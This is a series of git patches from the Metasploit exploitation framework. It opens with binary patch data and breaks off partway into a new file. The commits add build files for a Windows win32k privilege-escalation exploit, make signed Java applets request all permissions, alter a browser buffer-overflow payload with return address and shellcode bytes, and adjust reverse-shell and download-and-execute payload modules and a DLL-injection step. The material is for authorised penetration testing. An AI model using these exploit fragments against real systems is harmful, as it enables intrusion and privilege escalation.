zfj!NhWB<;6+FoNPI-WDo$#5n*1<rJ5k+a+>b^hiwI5A>~7%noz60t#S60eIG_ewY5 z4smnbN8E$%6<)4a;LY?N_f~uByd7S-cg#EGo%JB7ANTlRXR+kxq!%%XM~0KJWCEE& zW|Mj3NwR`$Ag_`)$=hTvsU}Cr*QCADS-D<GR_;=!DchA@%5mki(n-BhO;!J(eyV<< z-l}QZ4DAVRiMC36UfZJWz$*r8v}4+7ts}jLUPt}(CfbKm%4t73fDWQ}(R4bI=F%zj zK{|uZq4VfMx`dX{ZS-yWF8zR3(K>pRo}rhst5`Q?GMC-W3fNrsAv?rQupW9Zo#^BB zTz#6pNq<9sS3jYj(R&%5ahoy7xYM}b*l!#*P8ny77_+n4!wi^xP%EkCaMa2}<{Z?_ z3+7Stj2Um;XepMC+NiNUv;J<i=eKf&kLBC=F5brOU{iaby}*9MuCN16f|Kgp=gfDW za-MSzJN1q!`ip_$9x*}m^!j+rv%Mtmm)<MhR_}f9pm(xS&uHuipzd}gj@(X`l6B-G z(m*a#VwIbfL}iRJUYVjiq&%uDRGwDWE1RL$KPvl_L&_25Q{^gkwmMH;qpnjYX$!QE zwe7T=R?`OhYZitcmatW99ebJWV1H$wvags=Z?99mpPr&m)bsSm^cDJA{Y8DJUZ+1` zJY&3OOgBr-FHFx`VC}aYK9rB+D|vz)hK+sh_yiZXi@_pYWQshoP3#gMijPGf*L3^2 zquj7t=q_{jxv^dk?=i0wXND6>!d`z+8hMbMBxlLhO1$DIK_yig3;QTmRw>UbWy&U{ zTsfw6Rezxhb)-5?ov$uZE9u9yp0;6EvTNB5tT!{*0G7tavuu{n3fWAyoRzSb*haRU z?P7b_KK2P}yMeXQ+v%P3pP|-o(S!P(`Y1h1|FfRWr}FiDFYjOvwtI=b!Vsybj~B&8 zQ7Nu+dqVP^?tZtY7w{6jS>9&vgy##v=3)0ENjfPbn@JV<Cs7nb>95RFUV+YI)D9|9 zEj39UpgyWDP&ca|sXncXcB>||3~jFVjFv?U=q$RNuBAKZC-gMUVsqGw>{a$I3+M;* zL;B}>M<d?2$yjK-W9&6*j5_0}@wxGhk!U*REOV~;p1IdNXdX7}V1Fa6F;=E^+KS<E zygN_i_wX5fKL3?7!zp%FIL|xloib;mbI7?&#ES&cTM$8oDIAd`f?|PKEQ-Z4u~J;& zc6NKa8fwdNliUpVF?WYs?(TN?xD{@td%&%BYusBr;!)4^9PhX22{w7Y(T($fo#b(K zh5E9(PpwnWsO_{KSdaCzxQI0c^qX}}w_#Ct=ri<g#^c5SbCj8BPBy2TkC=<ho#rWX zu4VF3{2+h9zT0^MebP(L7H7NjmQ(J0=5!HCv$QFwnUEMJmWvWmD%OiKajhE<dHcI5 zZmJt{C%MnM?=?$X>(;x+-IFdyiwb%vUaD8@Re17ZqZBsRg>)x_NE#VK^2q(<39^Kg zkQc~n=&jx(`$-)+iWb&J>8GT_5?@D)+O3>W+NoVtL;YHf)n-y17Iz1`lZ|2-u)7>K zg-v6#*gUp~6|<GBl$F8u-bQ^^uqt*0*7pzg4ZB+Js$Zx3bzK*F2tCeD-7<z6X~rqD zlf|uktH?^{IlQCW)rEjXjn^X~w0(I`Hx3k3QqVT=XJz9!U!hj2!?Y3FVy#%)s+FUs zJg&vk1RA6%G?UJyrF1u1Ni0iXDQq0eWV6xYOIbPF&FWcOJyw^4O)ZM+K#GV@%~T83 zxoWXms_sz_sMTtXTC3KpC)EbkZ_KwATg$8xYrVD6+HRFwd#p;U+N!mVTMgD(t1a)q zyYimA7w^p}cX$#H@)VxRLwpz?!PEF?^b>`A8ZY9r`CQoMLX1<zd>Q(V5?+e7SH?H; zt$aIwi<k4=d=IbSmHYs&<~6*Q*Yo52ByZqf^0VA$x3y!@pT^l;?QV8Y+i&->6KvB? uvV(Stooa{dVfF|+%^q!!vvY0JaU7i7C3i^!mo#um1D7;#Ndy1q8u%CJ?NW9C diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild new file mode 100644 index 0000000000..688fd5ed4c --- /dev/null +++ b/external/source/exploits/cve-2013-3881/make.msbuild @@ -0,0 +1,17 @@ +<?xml version="1.0" standalone="yes"?> +<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <PropertyGroup> + <SolutionPath>.\cve-2013-3881.sln</SolutionPath> + </PropertyGroup> + + <Target Name="all" DependsOnTargets="x86" /> + + <Target Name="x86"> + <Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" /> + <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/> + </Target> + + <Target Name="x64"> + <Message Text="CVE-2013-3881 is not supported in x64" /> + </Target> +</Project> diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 6981f1f155..622b0f946a 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -40,6 +40,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3881 (win32k_null_page)" + PUSHD CVE-2013-3881 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% From 2d93b38e2a7b12826bb82dac75950454334158f0 Mon Sep 17 00:00:00 2001 From: grimmlin <grimmlin@pentoo.ch> Date: Fri, 7 Feb 2014 16:29:50 +0100 Subject: [PATCH 203/246] Fixed java_signed_applet for Java 7u51 --- lib/rex/zip/jar.rb | 3 +++ modules/exploits/multi/browser/java_signed_applet.rb | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb index f9154ebbc9..74a1641fd6 100644 --- a/lib/rex/zip/jar.rb +++ b/lib/rex/zip/jar.rb @@ -36,10 +36,13 @@ class Jar < Archive # def build_manifest(opts={}) main_class = opts[:main_class] || nil + app_name = opts[:app_name] || nil existing_manifest = nil @manifest = "Manifest-Version: 1.0\r\n" @manifest << "Main-Class: #{main_class}\r\n" if main_class + @manifest << "Application-Name: #{app_name}\r\n" if app_name + @manifest << "Permissions: all-permissions\r\n" @manifest << "\r\n" @entries.each { |e| next if e.name =~ %r|/$| diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index e64b19a2af..ff40e24b5b 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class) - jar.build_manifest(:main_class => "metasploit.Payload") + jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}") jar.sign(@key, @cert, @ca_certs) #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) } From c679b1001b4a8d7086c9fce6ff3341df9c1a350b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 7 Feb 2014 10:23:07 -0600 Subject: [PATCH 204/246] Make pring_warning verbose --- modules/exploits/linux/http/kloxo_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index f10f53bdf0..c8824fdd2e 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -271,7 +271,7 @@ class Metasploit3 < Msf::Exploit::Remote return false end - print_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful") + vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful") false end From 40188e1eda1238fec0b2608c8aac7656afda8a58 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 7 Feb 2014 12:16:15 -0600 Subject: [PATCH 205/246] RuntimeError exception should be handled. --- modules/post/windows/gather/enum_ad_user_comments.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 9217fdfcc4..9a0766d45c 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -39,9 +39,14 @@ class Metasploit3 < Msf::Post fields = datastore['FIELDS'].gsub(/\s+/,"").split(',') search_filter = datastore['FILTER'] max_search = datastore['MAX_SEARCH'] - q = query(search_filter, max_search, fields) - if q.nil? or q[:results].empty? + begin + q = query(search_filter, max_search, fields) + if q.nil? or q[:results].empty? + return + end + rescue RuntimeError => e + print_error(e.message) return end From 9c76e7fb00ca01f9550408015f0a161b680d5e23 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 7 Feb 2014 12:23:10 -0600 Subject: [PATCH 206/246] Handle multiple exceptions --- modules/post/windows/gather/enum_ad_user_comments.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 9a0766d45c..87b33ef59b 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -45,9 +45,15 @@ class Metasploit3 < Msf::Post if q.nil? or q[:results].empty? return end - rescue RuntimeError => e - print_error(e.message) - return + rescue ::Exception => e + if e.kind_of?(RuntimeError) or e.kind_of?(RequestError) + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + else + # Unexpected, raise it + raise $1 + end end # Results table holds raw string data From 32c02dd56a7be387d54b2e260a64405a0e65bb60 Mon Sep 17 00:00:00 2001 From: David Maciejak <david.maciejak@gmail.com> Date: Sat, 8 Feb 2014 11:27:25 +0800 Subject: [PATCH 207/246] Added some randomness --- modules/exploits/windows/browser/amaya_bdo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index 6911199f13..4f4966d7b7 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote # Set the exploit buffer sploit = "<bdo dir=\"" - sploit += "\x41" * 6889 + sploit += rand_text_alpha(6889) sploit += "\x74\x06\x41\x41" sploit += [target.ret].pack('V') sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F From 93b07b0e48f2f4fba5dc29fc54a3f4cb38d9f5c0 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 8 Feb 2014 12:24:49 +0000 Subject: [PATCH 208/246] Add missing RequiredCmds --- modules/payloads/singles/cmd/windows/adduser.rb | 1 + modules/payloads/singles/cmd/windows/bind_perl.rb | 1 + modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb | 1 + modules/payloads/singles/cmd/windows/bind_ruby.rb | 1 + modules/payloads/singles/cmd/windows/download_eval_vbs.rb | 1 + modules/payloads/singles/cmd/windows/download_exec_vbs.rb | 1 + modules/payloads/singles/cmd/windows/reverse_perl.rb | 1 + modules/payloads/singles/cmd/windows/reverse_ruby.rb | 1 + 8 files changed, 8 insertions(+) diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index d4149d2f32..eb69d43451 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -31,6 +31,7 @@ module Metasploit3 'Handler' => Msf::Handler::None, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 7794ef1eb0..42da08864a 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 0b63fc91de..283d965fbb 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb index e9624afc17..d3eb85cbce 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', 'Payload' => { 'Offsets' => {}, 'Payload' => '' } )) end diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index 098bcb8865..8b040f7839 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::None, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'wscript', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index 6e8e2348f5..c86d3fd57a 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -23,6 +23,7 @@ module Metasploit3 'Handler' => Msf::Handler::None, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'wscript', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index 0d402f40c1..de50a32991 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', 'Payload' => { 'Offsets' => { }, diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 8d789c160b..7bc046c375 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -24,6 +24,7 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', 'Payload' => { 'Offsets' => {}, 'Payload' => '' } )) end From d1f3afeacc47f2a7ab57aee6fdd4ef9b956f5927 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 8 Feb 2014 13:32:56 +0000 Subject: [PATCH 209/246] Correct MSB refs --- lib/msf/core/module/reference.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 335d9ddd3f..196255b20a 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'BID') self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s elsif (in_ctx_id == 'MSB') - self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx' + self.site = 'http://technet.microsoft.com/en-gb/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s elsif (in_ctx_id == 'WVE') From 2cfc662e43cfc10db9b94c0cb117db9641a2a6ae Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 8 Feb 2014 16:16:09 -0600 Subject: [PATCH 210/246] Use en-us instead --- lib/msf/core/module/reference.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 196255b20a..c12c0a239f 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'BID') self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s elsif (in_ctx_id == 'MSB') - self.site = 'http://technet.microsoft.com/en-gb/security/bulletin/' + in_ctx_val.to_s + self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s elsif (in_ctx_id == 'WVE') From 4eb9a16b2cad7831630a036da768934c3fcacbf5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 9 Feb 2014 13:06:21 -0500 Subject: [PATCH 211/246] Remove unnecessary return statement. --- lib/msf/core/session_manager.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index dc5046855f..dbe2e1d0a8 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -289,7 +289,7 @@ class SessionManager < Hash session = self[sid] end - return session + session end # From 0ac1acda70765844b149bf3a18bf833651a26e48 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 10 Feb 2014 09:35:07 -0500 Subject: [PATCH 212/246] Upgrade toolchain to Visual Studio 2013 v120. --- .../cve-2013-3881/cve-2013-3881/cve-2013-3881.c | 8 ++++++-- .../cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj | 8 ++++---- modules/exploits/windows/local/win32k_null_page.rb | 10 +++++----- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c index 8f5ef28b0a..9389277e09 100755 --- a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -3,7 +3,7 @@ * Date: February 5, 2014 * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame * Exploit Author: Spencer McIntyre - * Version: Windows 7 SP1 + * Version: Windows 7 SP0/SP1 * Tested on: Windows 7 SP0/SP1 * CVE-2013-3881 MS13-081 * References: @@ -22,7 +22,11 @@ #define WIN32_NO_STATUS #include <windows.h> #undef WIN32_NO_STATUS -#include <winternl.h> + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif #define TABLE_BASE 0xff910000 diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj index b8d7835d89..634f972b10 100755 --- a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -1,5 +1,5 @@ <?xml version="1.0" encoding="utf-8"?> -<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> +<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> @@ -20,14 +20,14 @@ <UseDebugLibraries>true</UseDebugLibraries> <WholeProgramOptimization>false</WholeProgramOptimization> <CharacterSet>MultiByte</CharacterSet> - <PlatformToolset>v90</PlatformToolset> + <PlatformToolset>v120</PlatformToolset> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <ConfigurationType>DynamicLibrary</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <WholeProgramOptimization>false</WholeProgramOptimization> <CharacterSet>MultiByte</CharacterSet> - <PlatformToolset>v90</PlatformToolset> + <PlatformToolset>v120</PlatformToolset> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <ImportGroup Label="ExtensionSettings"> @@ -82,4 +82,4 @@ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <ImportGroup Label="ExtensionTargets"> </ImportGroup> -</Project> +</Project> \ No newline at end of file diff --git a/modules/exploits/windows/local/win32k_null_page.rb b/modules/exploits/windows/local/win32k_null_page.rb index 7987745f81..276d38144c 100644 --- a/modules/exploits/windows/local/win32k_null_page.rb +++ b/modules/exploits/windows/local/win32k_null_page.rb @@ -22,8 +22,8 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits a vulnerability in win32k.sys where under specific conditions TrackPopupMenuEx will pass a NULL pointer to - the EndMenuState. This module has been tested successfully on - Windows 7 SP0 and Windows 7 SP1. + the MNEndMenuState procedure. This module has been tested + successfully on Windows 7 SP0 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -102,15 +102,15 @@ class Metasploit3 < Msf::Exploit::Local process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") - print_status("Reflectively injecting the exploit DLL into #{process.getpid}...") + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll") library_path = ::File.expand_path(library_path) - print_status("Injecting exploit into #{process.getpid} ...") + print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) - print_status("Exploit injected. Injecting payload into #{process.getpid}...") + print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that From fab8e16a87b2335c1cb4df796df391c3f5e7fc8c Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 10 Feb 2014 10:52:58 -0600 Subject: [PATCH 213/246] Unbreak server exploits --- lib/msf/core/exploit/tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index d58e57df2f..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -380,7 +380,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, - 'SSLCompression' => opts['SSLCompression'] || ssl_compression, + 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => { From 7c43565ea85ea37305d8c40c594ff7f73a1b5f88 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 10 Feb 2014 11:02:53 -0600 Subject: [PATCH 214/246] Include missing require for powershell --- modules/exploits/windows/local/powershell_cmd_upgrade.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb index 4a328b6b9a..5fd84bf35d 100644 --- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking From 89ba86366f628391cc677583d080f15fb117fb58 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 10 Feb 2014 10:52:58 -0600 Subject: [PATCH 215/246] Unbreak server exploits --- lib/msf/core/exploit/tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index d58e57df2f..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -380,7 +380,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, - 'SSLCompression' => opts['SSLCompression'] || ssl_compression, + 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => { From 2e130ce84324e0296935aab9c1bce63223d35d52 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Feb 2014 13:04:13 -0600 Subject: [PATCH 216/246] Make it work with Reader Sandbox --- modules/exploits/windows/local/win32k_null_page.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/win32k_null_page.rb b/modules/exploits/windows/local/win32k_null_page.rb index 276d38144c..3d074433a3 100644 --- a/modules/exploits/windows/local/win32k_null_page.rb +++ b/modules/exploits/windows/local/win32k_null_page.rb @@ -99,7 +99,13 @@ class Metasploit3 < Msf::Exploit::Local print_status("Launching notepad to host the exploit...") notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) - process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + process = client.sys.process.open + end print_good("Process #{process.pid} launched.") print_status("Reflectively injecting the exploit DLL into #{process.pid}...") From 541bb6134ecc7b4b9cc328d1b290cc91e274cad7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Feb 2014 13:06:23 -0600 Subject: [PATCH 217/246] Change exploit filename --- .../local/{win32k_null_page.rb => ms13_081_track_popup_menu.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/local/{win32k_null_page.rb => ms13_081_track_popup_menu.rb} (100%) diff --git a/modules/exploits/windows/local/win32k_null_page.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb similarity index 100% rename from modules/exploits/windows/local/win32k_null_page.rb rename to modules/exploits/windows/local/ms13_081_track_popup_menu.rb From abb03d0bbe214975bdfb83c2efc0d7579331fa15 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Feb 2014 13:10:42 -0600 Subject: [PATCH 218/246] Fixing messages --- modules/exploits/windows/local/ms13_081_track_popup_menu.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 3d074433a3..7354fe7b3c 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -101,12 +101,13 @@ class Metasploit3 < Msf::Exploit::Local notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status("Operation failed. Trying to elevate the current process...") process = client.sys.process.open end - print_good("Process #{process.pid} launched.") print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", From 08b6f74fb497365be55eb7b06a0df2999423f507 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Mon, 10 Feb 2014 20:46:09 +0100 Subject: [PATCH 219/246] Add module for CVE-2010-2343 --- .../windows/fileformat/easycdda_pls_bof.rb | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 modules/exploits/windows/fileformat/easycdda_pls_bof.rb diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb new file mode 100644 index 0000000000..84ee3c0b55 --- /dev/null +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + 